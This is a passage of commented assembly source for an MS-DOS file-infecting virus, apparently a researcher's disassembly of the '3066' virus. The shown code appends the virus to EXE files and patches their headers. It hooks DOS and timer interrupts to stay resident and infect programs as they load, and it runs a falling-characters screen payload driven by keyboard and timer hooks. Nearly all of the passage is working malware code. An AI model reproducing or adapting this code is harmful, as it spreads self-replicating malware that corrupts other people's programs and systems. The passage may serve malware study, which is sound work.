|
|||
|
ADD BP,[DI+6] ; \ Add number of relocation entries
|
|||
|
ADC CX,0 ; /
|
|||
|
SUB BP,AX ; \ Subtract current length
|
|||
|
SBB CX,DX ; /
|
|||
|
JB BP0460 ; Branch if overlay
|
|||
|
PUSH AX ; Save length of host, low word
|
|||
|
PUSH DX ; Save length of host, high word
|
|||
|
PUSH [DI+18H] ; Save offset to relocation table
|
|||
|
MOV BYTE PTR [DI+18H],0FFH ; Original entry address marker
|
|||
|
MOV CX,5 ; Length to write
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
MOV DX,DI ; \ Address host entry address
|
|||
|
ADD DX,14H ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
POP [DI+18H] ; Recover offset to relocation table
|
|||
|
MOV DX,SI ; \ Address start of virus
|
|||
|
ADD DX,5 ; /
|
|||
|
MOV CX,OFFSET SIGNAT ; Length of virus
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
MOV AX,4200H ; Move file pointer (start) function
|
|||
|
XOR CX,CX ; \ No displacement
|
|||
|
XOR DX,DX ; /
|
|||
|
INT 21H ; DOS service
|
|||
|
POP [DI+16H] ; Recover length of host, high word
|
|||
|
POP [DI+14H] ; Recover length of host, low word
|
|||
|
ADD WORD PTR [DI+14H],00FAH ; \ Add entry point
|
|||
|
ADC WORD PTR [DI+16H],0 ; /
|
|||
|
MOV AX,[DI+8] ; Get size of header
|
|||
|
CALL BP0490 ; Move segment to two-register offset
|
|||
|
SUB [DI+14H],AX ; \ Subtract size of header
|
|||
|
SBB [DI+16H],DX ; /
|
|||
|
MOV CL,0CH ; Bits to move
|
|||
|
SHL WORD PTR [DI+16H],CL ; Convert high word to segment
|
|||
|
MOV AX,OFFSET ENDADR ; Length of virus
|
|||
|
ADD AX,[DI+2] ; Add bytes in last paragraph
|
|||
|
MOV [DI+2],AX ; Store new figure
|
|||
|
AND [DI+2],01FFH ; Set off top bits
|
|||
|
MOV AL,AH ; Copy high byte
|
|||
|
XOR AH,AH ; Clear top of register
|
|||
|
SHR AX,1 ; Divide by two
|
|||
|
ADD [DI+4],AX ; Add to pages
|
|||
|
MOV DX,DI ; Move address of EXE header
|
|||
|
MOV CX,001CH ; EXE header length
|
|||
|
MOV AH,40H ; Write handle function
|
|||
|
INT 21H ; DOS service
|
|||
|
CLC
|
|||
|
RET
|
|||
|
|
|||
|
; Move segment to two-register offset
|
|||
|
|
|||
|
BP0490: XOR DX,DX ; Clear register
|
|||
|
SHL AX,1 ; \ Move double one bit
|
|||
|
RCL DX,1 ; /
|
|||
|
SHL AX,1 ; \ Move double one bit
|
|||
|
RCL DX,1 ; /
|
|||
|
SHL AX,1 ; \ Move double one bit
|
|||
|
RCL DX,1 ; /
|
|||
|
SHL AX,1 ; \ Move double one bit
|
|||
|
RCL DX,1 ; /
|
|||
|
RET
|
|||
|
|
|||
|
; Move pointer to end of file
|
|||
|
|
|||
|
BP0500: XOR DX,DX ; \ No displacement
|
|||
|
XOR CX,CX ; /
|
|||
|
MOV AX,4202H ; Move file pointer (EOF) function
|
|||
|
INT 21H ; DOS service
|
|||
|
RET
|
|||
|
|
|||
|
; Get installed virus segment
|
|||
|
|
|||
|
BP0510: XOR AX,AX ; \ Address zero
|
|||
|
MOV DS,AX ; /
|
|||
|
LDS DI,BD009C ; Load Int 27H vector
|
|||
|
LDS DI,[DI+1] ; Get vector from far jump
|
|||
|
MOV AX,DI ; Save offset
|
|||
|
SUB DI,OFFSET BP0780-V_SIGN ; Address from jump to old Int 27H
|
|||
|
CALL BP0530 ; Test virus signature in memory
|
|||
|
JZ BP0520 ; Branch if found
|
|||
|
MOV DI,AX ; Retrieve offset
|
|||
|
SUB DI,OFFSET BP0770-V_SIGN ; Address from new Int 27H routine
|
|||
|
CALL BP0530 ; Test virus signature in memory
|
|||
|
JZ BP0520 ; Branch if found
|
|||
|
LDS DI,BD0080 ; Load Int 20H vector
|
|||
|
LDS DI,[DI+1] ; Get vector from far jump
|
|||
|
MOV AX,DI ; Save offset
|
|||
|
SUB DI,OFFSET BP0630-V_SIGN ; Address from jump to old Int 20H
|
|||
|
CALL BP0530 ; Test virus signature in memory
|
|||
|
JZ BP0520 ; Branch if found
|
|||
|
MOV DI,AX ; Retrieve offset
|
|||
|
SUB DI,OFFSET BP0620-V_SIGN ; Address from new Int 27H routine
|
|||
|
CALL BP0530 ; Test virus signature in memory
|
|||
|
BP0520: RET
|
|||
|
|
|||
|
; Test virus signature in memory
|
|||
|
|
|||
|
BP0530: XOR DX,DX ; Clear register
|
|||
|
CMP WORD PTR [DI],4756H ; Look for virus signature
|
|||
|
JNE BP0540 ; Branch if not present
|
|||
|
CMP BYTE PTR [DI+2],31H ; Look for rest of signature
|
|||
|
JE BP0550 ; Branch if there
|
|||
|
BP0540: INC DX ; Set no virus marker
|
|||
|
BP0550: SUB DI,OFFSET V_SIGN ; Subtract offset of signature
|
|||
|
OR DX,DX ; Test no virus marker
|
|||
|
RET
|
|||
|
|
|||
|
; Create far jump
|
|||
|
|
|||
|
BP0560: MOV AL,0EAH ; Far jump
|
|||
|
STOSB ; Store jump instruction
|
|||
|
MOV AX,CX ; \ Address routine
|
|||
|
ADD AX,SI ; /
|
|||
|
STOSW ; Store offset
|
|||
|
MOV AX,CS ; Get segment
|
|||
|
STOSW ; Store segment
|
|||
|
BP0570: RET
|
|||
|
|
|||
|
; Install interrupts
|
|||
|
|
|||
|
BP0580: OR DX,DX
|
|||
|
JZ BP0570 ; Dont install if yes
|
|||
|
PUSH DS
|
|||
|
PUSH ES
|
|||
|
MOV ES,SEGREG[SI] ; Get segment register
|
|||
|
MOV DI,00ECH ; Address far jump table
|
|||
|
CLD
|
|||
|
MOV CX,OFFSET BP0880 ; Int 1CH routine
|
|||
|
CALL BP0560 ; Create Int 1CH far jump
|
|||
|
MOV CX,OFFSET BP0620 ; Int 20H routine
|
|||
|
CALL BP0560 ; Create Int 20H far jump
|
|||
|
MOV CX,OFFSET BP0700 ; Int 21H routine
|
|||
|
CALL BP0560 ; Create Int 21H far jump
|
|||
|
MOV CX,OFFSET BP0770 ; Int 27H routine
|
|||
|
CALL BP0560 ; Create Int 27H far jump
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV DS,AX ; /
|
|||
|
ASSUME DS:BOOT
|
|||
|
CLI
|
|||
|
MOV AX,00ECH ; Address Int 1CH far jump
|
|||
|
XCHG AX,BW0070 ; Install as Int 1CH offset
|
|||
|
MOV CS:I1C_OF[SI],AX ; Save old Int 1CH offset
|
|||
|
MOV AX,ES ; Get this segment
|
|||
|
XCHG AX,BW0072 ; Install as Int 1CH segment
|
|||
|
MOV CS:I1C_SG[SI],AX ; Save old Int 1CH segment
|
|||
|
MOV AX,00F1H ; Address Int 20H far jump
|
|||
|
XCHG AX,BW0080 ; Install as Int 20H offset
|
|||
|
MOV CS:I20_OF[SI],AX ; Save old Int 20H offset
|
|||
|
MOV AX,ES ; Get this segment
|
|||
|
XCHG AX,BW0082 ; Install as Int 20H segment
|
|||
|
MOV CS:I20_SG[SI],AX ; Save old Int 20H segment
|
|||
|
MOV AX,00F6H ; Address Int 21H far jump
|
|||
|
XCHG AX,BW0084 ; Install as Int 21H offset
|
|||
|
MOV CS:I21_OF[SI],AX ; Save old Int 21H offset
|
|||
|
MOV AX,ES ; Get this segment
|
|||
|
XCHG AX,BW0086 ; Install as Int 21H segment
|
|||
|
MOV CS:I21_SG[SI],AX ; Save old Int 21H segment
|
|||
|
MOV AX,00FBH ; Address Int 27H far jump
|
|||
|
XCHG AX,BW009C ; Install as Int 27H offset
|
|||
|
MOV CS:I27_OF[SI],AX ; Save old Int 27H offset
|
|||
|
MOV AX,ES ; Get this segment
|
|||
|
XCHG AX,BW009E ; Install as Int 27H segment
|
|||
|
MOV CS:I27_SG[SI],AX ; Save old Int 27H segment
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
STI
|
|||
|
RET
|
|||
|
|
|||
|
; Reset interrupts
|
|||
|
|
|||
|
ASSUME DS:CODE
|
|||
|
BP0590: PUSH ES
|
|||
|
MOV ES,SEGREG[SI] ; Get segment register
|
|||
|
MOV DI,00F1H ; Address far jump table (2nd entry)
|
|||
|
CLD
|
|||
|
MOV CX,OFFSET BP0630 ; Jump to old Int 20H
|
|||
|
CALL BP0560 ; Create Int 20H far jump
|
|||
|
MOV CX,OFFSET BP0720 ; Alternate Int 21H routine
|
|||
|
CALL BP0560 ; Create Int 21H far jump
|
|||
|
MOV CX,OFFSET BP0780 ; Jump to old Int 27H
|
|||
|
CALL BP0560 ; Create Int 27H far jump
|
|||
|
POP ES
|
|||
|
RET
|
|||
|
|
|||
|
; Set Int 24H vector
|
|||
|
|
|||
|
BP0600: PUSH ES
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV ES,AX ; /
|
|||
|
ASSUME ES:BOOT
|
|||
|
MOV AX,OFFSET BP0790 ; \ Interrupt 24H routine
|
|||
|
ADD AX,SI ; /
|
|||
|
XCHG AX,BW0090 ; Install as Int 24H offset
|
|||
|
MOV I24_OF[SI],AX ; Save old Int 24H offset
|
|||
|
MOV AX,CS ; Get this segment
|
|||
|
XCHG AX,BW0092 ; Install as Int 24H segment
|
|||
|
MOV I24_SG[SI],AX ; Save old Int 24H segment
|
|||
|
POP ES
|
|||
|
MOV CRTERR[SI],0 ; Clear critical error flag
|
|||
|
RET
|
|||
|
|
|||
|
; Restore Int 24H vector
|
|||
|
|
|||
|
ASSUME DS:NOTHING
|
|||
|
BP0610: PUSH ES
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV ES,AX ; /
|
|||
|
MOV AX,I24_OF[SI] ; Get old Int 24H offset
|
|||
|
MOV BW0090,AX ; Restore Int 24H offset
|
|||
|
MOV AX,I24_SG[SI] ; Get old Int 24H segment
|
|||
|
MOV BW0092,AX ; Restore Int 24H segment
|
|||
|
POP ES
|
|||
|
ASSUME ES:NOTHING
|
|||
|
RET
|
|||
|
|
|||
|
; Interrupt 20H routine
|
|||
|
|
|||
|
BP0620: JMP BP0680
|
|||
|
|
|||
|
; Interrupt 20H - jump to original routine
|
|||
|
|
|||
|
BP0630: DB 0EAH ; Far jump to Int 20H
|
|||
|
I20_OF DW 0136CH ; Original Int 20H offset
|
|||
|
I20_SG DW 00291H ; Original Int 20H segment
|
|||
|
|
|||
|
; Get relocation constant in SI
|
|||
|
|
|||
|
BP0640: POP BX ; Get return address
|
|||
|
PUSH DS
|
|||
|
PUSH AX
|
|||
|
PUSH DS
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
ASSUME DS:CODE
|
|||
|
CALL BP0650 ; \ Get current address
|
|||
|
BP0650: POP SI ; /
|
|||
|
SUB SI,OFFSET BP0650 ; Subtract displacement from it
|
|||
|
JMP BX ; Branch to return address
|
|||
|
|
|||
|
; Free or allocate memory functions
|
|||
|
|
|||
|
BP0660: CALL BP0640 ; Get relocation constant in SI
|
|||
|
PUSH CX
|
|||
|
MOV AX,[SI+7] ; Get host segment
|
|||
|
MOV CX,ES ; Get relevant segment
|
|||
|
CMP AX,CX ; Are they the same?
|
|||
|
POP CX
|
|||
|
POP DS
|
|||
|
POP AX
|
|||
|
JNE BP0670 ; Branch if different
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
CMP AH,49H ; Free memory?
|
|||
|
JE BP0670 ; Branch if yes
|
|||
|
ADD BX,01D0H ; Add length of installed segment
|
|||
|
BP0670: POP DS
|
|||
|
JMP BP0710 ; Pass on to old Int 21H
|
|||
|
|
|||
|
; Program termination (Int 20H, or functions 0 or 4CH)
|
|||
|
|
|||
|
BP0680: XOR DX,DX ; Nothing to keep
|
|||
|
BP0690: CALL BP0640 ; Get relocation constant in SI
|
|||
|
PUSH ES
|
|||
|
PUSH DX
|
|||
|
CLI
|
|||
|
CALL BP0590 ; Reset interrupts
|
|||
|
STI
|
|||
|
POP AX
|
|||
|
MOV DX,01D0H ; Length of installed segment
|
|||
|
ADD DX,AX ; Add length for host
|
|||
|
ADD DX,10H ; Add PSP length (?)
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
POP AX
|
|||
|
POP DS
|
|||
|
MOV AH,31H ; Keep process function
|
|||
|
JMP SHORT BP0710 ; Pass on to old Int 21H
|
|||
|
|
|||
|
; Interrupt 21H routine
|
|||
|
|
|||
|
BP0700: CMP AH,4CH ; \ End process function?
|
|||
|
JE BP0680 ; /
|
|||
|
CMP AH,31H ; \ Keep process function?
|
|||
|
JE BP0690 ; /
|
|||
|
OR AH,AH ; \ Terminate program function?
|
|||
|
JZ BP0680 ; /
|
|||
|
CMP AH,49H ; \ Free allocated memory function?
|
|||
|
JE BP0660 ; /
|
|||
|
CMP AH,4AH ; \ Set block function?
|
|||
|
JE BP0660 ; /
|
|||
|
CMP AH,4BH ; \ Load function?
|
|||
|
JE BP0730 ; /
|
|||
|
BP0710: DB 0EAH ; Far jump to Int 21H
|
|||
|
I21_OF DW 0138DH ; Original Int 21H offset
|
|||
|
I21_SG DW 00291H ; Original Int 21H segment
|
|||
|
|
|||
|
; Alternate Interrupt 21H - only intercept load
|
|||
|
|
|||
|
BP0720: CMP AH,4BH ; Load function?
|
|||
|
JNE BP0710 ; Branch if not
|
|||
|
BP0730: PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH ES
|
|||
|
PUSH BX
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH BP
|
|||
|
CALL BP0640 ; Get relocation constant in SI
|
|||
|
CALL BP0600 ; Set Int 24H vector
|
|||
|
BP0740: STI
|
|||
|
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
|
|||
|
JNZ BP0740 ; Branch if on
|
|||
|
CLI
|
|||
|
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
|
|||
|
JNZ BP0740 ; Branch if on
|
|||
|
OR BYTE PTR SWTCHB+100H,2 ; Set on switch two
|
|||
|
POP DS
|
|||
|
ASSUME DS:NOTHING
|
|||
|
MOV BX,DX ; Pathname pointer
|
|||
|
MOV PTHDSK[SI],0FFH ; Set drive to none
|
|||
|
CMP BYTE PTR [BX+01],':' ; Does pathname include drive?
|
|||
|
JNE BP0750 ; Branch if not
|
|||
|
MOV AL,[BX] ; Get drive letter
|
|||
|
OR AL,20H ; Convert to lowercase
|
|||
|
SUB AL,'a' ; Convert to number
|
|||
|
MOV PTHDSK[SI],AL ; Store drive
|
|||
|
BP0750: PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH ES
|
|||
|
CLD
|
|||
|
MOV SI,DX ; Pathname pointer
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
MOV DI,OFFSET DB0884+100H ; Pathname
|
|||
|
BP0760: LODSB ; Get a character
|
|||
|
STOSB ; Store a character
|
|||
|
OR AL,AL ; Was that the last?
|
|||
|
JNZ BP0760 ; Branch if not
|
|||
|
POP ES
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
CALL BP0380 ; Process file
|
|||
|
CALL BP0610 ; Restore Int 24H vector
|
|||
|
AND BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two
|
|||
|
POP AX
|
|||
|
POP DS
|
|||
|
POP BP
|
|||
|
POP DI
|
|||
|
POP SI
|
|||
|
POP BX
|
|||
|
POP ES
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
JMP BP0710 ; Pass on to old Int 21H
|
|||
|
|
|||
|
; Interrupt 27H routine
|
|||
|
|
|||
|
BP0770: ADD DX,0FH ; Round up
|
|||
|
MOV CL,4 ; Bits to shift
|
|||
|
SHR DX,CL ; Convert to paragraphs
|
|||
|
JMP BP0690 ; Keep process
|
|||
|
|
|||
|
; Interrupt 27H - jump to original routine
|
|||
|
|
|||
|
BP0780: DB 0EAH ; Far jump to Int 27H
|
|||
|
I27_OF DW 05DFEH ; Original Int 27H offset
|
|||
|
I27_SG DW 00291H ; Original Int 27H segment
|
|||
|
|
|||
|
; Interrupt 24H routine
|
|||
|
|
|||
|
BP0790: PUSH SI
|
|||
|
CALL BP0800 ; \ Get current location
|
|||
|
BP0800: POP SI ; /
|
|||
|
SUB SI,OFFSET BP0800 ; Subtract offset
|
|||
|
OR CRTERR[SI],1 ; Set critical error flag
|
|||
|
POP SI
|
|||
|
XOR AL,AL ; No action
|
|||
|
IRET
|
|||
|
|
|||
|
DB086E DB 1 ; Past second line indicator
|
|||
|
DB 0
|
|||
|
DB0870 DB 0 ; Characters going down switch
|
|||
|
DB 0
|
|||
|
SWTCHB DB 82H ; Switch byte
|
|||
|
; 01 - switch one - alternate timer tick
|
|||
|
; 02 - switch two - processing file
|
|||
|
; 04 - switch three - infection count target reached
|
|||
|
; 08 - switch four - count two started
|
|||
|
; 10 - switch five - don't go to start of line
|
|||
|
; 20 - switch six - count two started and finished (?)
|
|||
|
; 40 - switch seven - count two finished
|
|||
|
; 80 - switch eight - video display permitted
|
|||
|
I09_OF DW 0 ; Old Int 9 offset
|
|||
|
I09_SG DW 0 ; Old Int 9 segment
|
|||
|
DSPCNT DW 0FFDCH ; Display count
|
|||
|
I09BSY DB 0 ; Int 9 busy switch
|
|||
|
KEYTOK DB 0 ; Keyboard token
|
|||
|
KEYNUM DB 0 ; Key number
|
|||
|
VIDADR DW 0B800H ; Video RAM segment
|
|||
|
RSTCNT DW 0 ; Restore count
|
|||
|
FLENLO DW 39H ; File length, low word
|
|||
|
FLENHI DW 0 ; File length, high word
|
|||
|
DB0884 DB 'C:\3066\HELLO.COM', 0 ; Pathname
|
|||
|
DB 'EXE', 0, 'E', 90H DUP (0)
|
|||
|
|
|||
|
BP0820: PUSH CX
|
|||
|
PUSH DS
|
|||
|
PUSH ES
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
PUSH CS ; \ Set ES to CS
|
|||
|
POP ES ; /
|
|||
|
CLD
|
|||
|
TEST AL,20H ; Test switch six
|
|||
|
JZ BP0850 ; Branch if off
|
|||
|
TEST AL,2 ; Test switch two
|
|||
|
JNZ BP0860 ; Branch if on
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV DS,AX ; /
|
|||
|
ASSUME DS:BOOT
|
|||
|
MOV AL,BB0449 ; Get current VDU mode
|
|||
|
MOV CX,0B800H ; VDU RAM address
|
|||
|
CMP AL,7 ; Mode 7?
|
|||
|
JNE BP0830 ; Branch if not
|
|||
|
MOV CX,0B000H ; External mono VDU RAM
|
|||
|
JMP SHORT BP0840
|
|||
|
|
|||
|
BP0830: CMP AL,2 ; Mode 2?
|
|||
|
JE BP0840 ; Branch if yes
|
|||
|
CMP AL,3 ; Mode 3?
|
|||
|
JNE BP0860 ; Branch if not
|
|||
|
BP0840: MOV VIDADR+100H,CX ; Save video RAM segment
|
|||
|
OR SWTCHB+100H,2 ; Set on switch two
|
|||
|
MOV RSTCNT+100H,0 ; Set restore count to zero
|
|||
|
MOV DS,CX ; Address video RAM
|
|||
|
MOV CX,80*25 ; Length to copy
|
|||
|
XOR SI,SI ; From zero
|
|||
|
MOV DI,OFFSET SIGNAT+100H ; To end of virus
|
|||
|
REPZ MOVSW ; Copy video
|
|||
|
XOR AX,AX ; \ Address zero
|
|||
|
MOV DS,AX ; /
|
|||
|
MOV AX,OFFSET BP1010+100H ; Interrupt 9 routine
|
|||
|
XCHG AX,BW0024 ; Install as Int 9 offset
|
|||
|
MOV I09_OF+100H,AX ; Save old Int 9 offset
|
|||
|
MOV AX,CS ; Get current segment
|
|||
|
XCHG AX,BW0026 ; Install as Int 9 segment
|
|||
|
MOV I09_SG+100H,AX ; Save old Int 9 segment
|
|||
|
BP0850: MOV CX,0050H ; Length of one line
|
|||
|
MOV AX,80*24*2 ; Last line address
|
|||
|
MOV DI,OFFSET DW0005+100H ; Address line store
|
|||
|
REPZ STOSW ; Store line numbers
|
|||
|
AND SWTCHB+100H,7 ; Set off switches above three
|
|||
|
BP0860: POP DI
|
|||
|
POP SI
|
|||
|
POP ES
|
|||
|
POP DS
|
|||
|
POP CX
|
|||
|
JMP BP0990 ; Pass on to original Int 1CH
|
|||
|
|
|||
|
BP0870: JMP BP0820
|
|||
|
|
|||
|
; Interrupt 1CH routine
|
|||
|
|
|||
|
BP0880: PUSH AX
|
|||
|
MOV I09BSY+100H,0 ; Clear Int 9 busy switch
|
|||
|
MOV AL,SWTCHB+100H ; Get switches
|
|||
|
TEST AL,60H ; Test switches six and seven
|
|||
|
JNZ BP0870 ; Branch if either is on
|
|||
|
TEST AL,80H ; Test switch eight
|
|||
|
JZ BP0910 ; Branch if off
|
|||
|
CMP RSTCNT+100H,0 ; Is restore count off?
|
|||
|
JE BP0890 ; Branch if yes
|
|||
|
INC RSTCNT+100H ; Increment restore count
|
|||
|
CMP RSTCNT+100H,0444H ; Have we reached target (1 minute)?
|
|||
|
JL BP0890 ; Branch if not
|
|||
|
CALL BP1030 ; Video display routine
|
|||
|
JMP BP0990 ; Pass on to original Int 1CH
|
|||
|
|
|||
|
BP0890: TEST AL,18H ; Test switches four and five
|
|||
|
JZ BP0900 ; Branch if both off
|
|||
|
DEC DSPCNT+100H ; Decrement display count
|
|||
|
JNZ BP0900 ; Branch if not finished
|
|||
|
AND SWTCHB+100H,0E7H ; Set off switch three
|
|||
|
OR SWTCHB+100H,40H ; Set on switch seven
|
|||
|
TEST AL,8 ; Test switch four
|
|||
|
JZ BP0900 ; Branch if off
|
|||
|
OR SWTCHB+100H,20H ; Set on switch six
|
|||
|
BP0900: JMP BP0990 ; Pass on to original Int 1CH
|
|||
|
|
|||
|
BP0910: XOR SWTCHB+100H,1 ; Toggle switch one
|
|||
|
TEST AL,1 ; Test previous state
|
|||
|
JZ BP0900 ; Branch if off
|
|||
|
PUSH BX
|
|||
|
PUSH SI
|
|||
|
PUSH DS
|
|||
|
MOV DS,VIDADR+100H ; Get video RAM segment
|
|||
|
XOR SI,SI ; Start of line
|
|||
|
MOV DB086E+100H,0 ; Set past second line off
|
|||
|
BP0920: MOV BX,DW0005[SI+100H] ; Get current line number
|
|||
|
OR BX,BX ; First line?
|
|||
|
JZ BP0930 ; Branch if yes
|
|||
|
CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
|
|||
|
JNE BP0930 ; Branch if not
|
|||
|
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
|
|||
|
JE BP0930 ; Branch if yes
|
|||
|
MOV AX,0720H ; White on black space
|
|||
|
XCHG AX,[BX+SI+0FF60H] ; Swap with line above
|
|||
|
MOV [BX+SI],AX ; Store new character this line
|
|||
|
ADD BX,80*2 ; Next line
|
|||
|
BP0930: CMP BX,80*25*2 ; Past last line?
|
|||
|
JE BP0940 ; Branch if yes
|
|||
|
CMP BYTE PTR [BX+SI],' ' ; Is character a blank
|
|||
|
JNE BP0940 ; Branch if not
|
|||
|
JNE BP0970 ; ?
|
|||
|
BP0940: MOV BX,80*24*2 ; Address last line
|
|||
|
BP0950: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
|
|||
|
JNE BP0960 ; Branch if not
|
|||
|
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
|
|||
|
JNE BP0970 ; Branch if not
|
|||
|
BP0960: SUB BX,80*2 ; Previous line
|
|||
|
OR BX,BX ; First line?
|
|||
|
JNZ BP0950 ; Branch if not
|
|||
|
BP0970: MOV DW0005[SI+100H],BX ; Save current line number
|
|||
|
OR WORD PTR DB086E+100H,BX ; Set past second line indicator
|
|||
|
ADD SI,2 ; Next character position
|
|||
|
CMP SI,80*2 ; End of line?
|
|||
|
JNE BP0920 ; Branch if not
|
|||
|
CMP DB086E+100H,0 ; Past second line?
|
|||
|
JNE BP0980 ; Branch if yes
|
|||
|
OR SWTCHB+100H,80H ; Set on switch eight
|
|||
|
MOV RSTCNT+100H,1 ; Start restore count
|
|||
|
BP0980: POP DS
|
|||
|
POP SI
|
|||
|
POP BX
|
|||
|
BP0990: POP AX
|
|||
|
DB 0EAH ; Far jump to Int 1CH
|
|||
|
I1C_OF DW 0FF53H ; Original Int 1CH offset
|
|||
|
I1C_SG DW 0F000H ; Original Int 1CH segment
|
|||
|
|
|||
|
; Signal end of interrupt
|
|||
|
|
|||
|
BP1000: MOV AL,20H ; \ End of interrupt
|
|||
|
OUT 20H,AL ; /
|
|||
|
POP AX
|
|||
|
IRET
|
|||
|
|
|||
|
; Interrupt 9 routine
|
|||
|
|
|||
|
BP1010: PUSH AX
|
|||
|
IN AL,60H ; Get keyboard token
|
|||
|
MOV KEYTOK+100H,AL ; Save keyboard token
|
|||
|
IN AL,61H ; Get port B
|
|||
|
MOV AH,AL ; Save port B
|
|||
|
OR AL,80H ; \ Acknowledge keyboard
|
|||
|
OUT 61H,AL ; /
|
|||
|
MOV AL,AH ; \ Restore Port B
|
|||
|
OUT 61H,AL ; /
|
|||
|
CMP I09BSY+100H,0 ; Test Int 9 busy switch
|
|||
|
MOV I09BSY+100H,1 ; Set Int 9 busy switch on
|
|||
|
JNE BP1000 ; Branch if on already
|
|||
|
MOV AL,KEYTOK+100H ; Get keyboard token
|
|||
|
CMP AL,0F0H ; \ ? discard this character
|
|||
|
JE BP1000 ; /
|
|||
|
AND AL,7FH ; Set off top bit
|
|||
|
CMP AL,KEYNUM+100H ; Same as last character?
|
|||
|
MOV KEYNUM+100H,AL ; Save key number
|
|||
|
JE BP1000 ; Branch if same as last
|
|||
|
CMP RSTCNT+100H,0 ; Is restore count off?
|
|||
|
JE BP1020 ; Branch if yes
|
|||
|
MOV RSTCNT+100H,1 ; Restart restore count
|
|||
|
BP1020: CALL BP1030 ; Video display routine
|
|||
|
JMP BP1000 ; End of interrupt
|
|||
|
|
|||
|
; Video display routine
|
|||
|
|
|||
|
BP1030: MOV DSPCNT+100H,0028H ; Set up short display count (2+ secs)
|
|||
|
TEST SWTCHB+100H,80H ; Test switch eight
|
|||
|
JZ BP1000 ; Branch if off
|
|||
|
MOV DB0870+100H,1 ; Set character going down
|
|||
|
PUSH BX
|
|||
|
PUSH SI
|
|||
|
PUSH DS
|
|||
|
MOV DS,VIDADR+100H ; Get video RAM segment
|
|||
|
TEST SWTCHB+100H,10H ; Test switch five
|
|||
|
JNZ BP1070 ; Branch if on
|
|||
|
OR SWTCHB+100H,10H ; Set on switch five
|
|||
|
XOR SI,SI ; Start of line
|
|||
|
BP1040: MOV BX,80*24*2 ; Address last line
|
|||
|
BP1050: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
|
|||
|
JE BP1060 ; Branch if yes
|
|||
|
SUB BX,80*2 ; Previous line
|
|||
|
JNB BP1050 ; Branch if not
|
|||
|
MOV BX,80*24*2 ; Address last line
|
|||
|
BP1060: ADD BX,80*2 ; Next line
|
|||
|
MOV DW0005[SI+100H],BX ; Save current line number
|
|||
|
MOV FLENLO[SI+100H],BX ; Save last line number
|
|||
|
INC SI ; \ Next character position
|
|||
|
INC SI ; /
|
|||
|
CMP SI,80*2 ; End of line?
|
|||
|
JNE BP1040 ; Branch if not
|
|||
|
BP1070: XOR SI,SI ; Start of line
|
|||
|
BP1080: CMP DW0005[SI+100H],80*25*2 ; End of display area?
|
|||
|
JE BP1140 ; Branch if yes
|
|||
|
MOV BX,FLENLO[SI+100H] ; Get last line number
|
|||
|
MOV AX,[BX+SI] ; Get current char and attributes
|
|||
|
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy?
|
|||
|
JNE BP1100 ; Branch if not
|
|||
|
PUSH BX
|
|||
|
BP1090: OR BX,BX ; First line?
|
|||
|
JZ BP1120 ; Restore video if yes
|
|||
|
SUB BX,80*2 ; Previous line
|
|||
|
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current?
|
|||
|
JNE BP1090 ; Branch if not
|
|||
|
CMP AX,[BX+SI] ; Is this line the same
|
|||
|
JE BP1090 ; Branch if yes
|
|||
|
POP BX
|
|||
|
BP1100: OR BX,BX ; First line?
|
|||
|
JNZ BP1110 ; Character up one line if not
|
|||
|
MOV WORD PTR [SI],0720H ; White on black space
|
|||
|
JMP SHORT BP1130
|
|||
|
|
|||
|
; Move character up one line
|
|||
|
|
|||
|
BP1110: MOV AX,[BX+SI] ; Get current char and attributes
|
|||
|
MOV [BX+SI+0FF60H],AX ; Move to previous line
|
|||
|
MOV WORD PTR [BX+SI],0720H ; White on black space
|
|||
|
SUB FLENLO[SI+100H],80*2 ; Move last line number up one
|
|||
|
MOV DB0870+100H,0 ; Set characters going up
|
|||
|
JMP SHORT BP1140
|
|||
|
|
|||
|
; Restore video
|
|||
|
|
|||
|
BP1120: POP BX
|
|||
|
BP1130: MOV BX,DW0005[SI+100H] ; Get current line number
|
|||
|
ADD BX,80*2 ; Next line
|
|||
|
MOV DW0005[SI+100H],BX ; Save new current line number
|
|||
|
MOV FLENLO[SI+100H],BX ; Save last line number
|
|||
|
BP1140: INC SI ; \ Next character position
|
|||
|
INC SI ; /
|
|||
|
CMP SI,80*2 ; End of line?
|
|||
|
JNE BP1080 ; Branch if not
|
|||
|
CMP DB0870+100H,0 ; Are characters going down
|
|||
|
JE BP1150 ; Branch if not
|
|||
|
PUSH ES
|
|||
|
PUSH DI
|
|||
|
PUSH CX
|
|||
|
PUSH DS ; \ Set ES to DS
|
|||
|
POP ES ; /
|
|||
|
PUSH CS ; \ Set DS to CS
|
|||
|
POP DS ; /
|
|||
|
MOV SI,OFFSET SIGNAT+100H ; From end of virus
|
|||
|
XOR DI,DI ; To zero
|
|||
|
MOV CX,80*25 ; Length to copy
|
|||
|
REPZ MOVSW ; Restore video
|
|||
|
MOV DSPCNT+100H,0FFDCH ; Restart display count (60 mins)
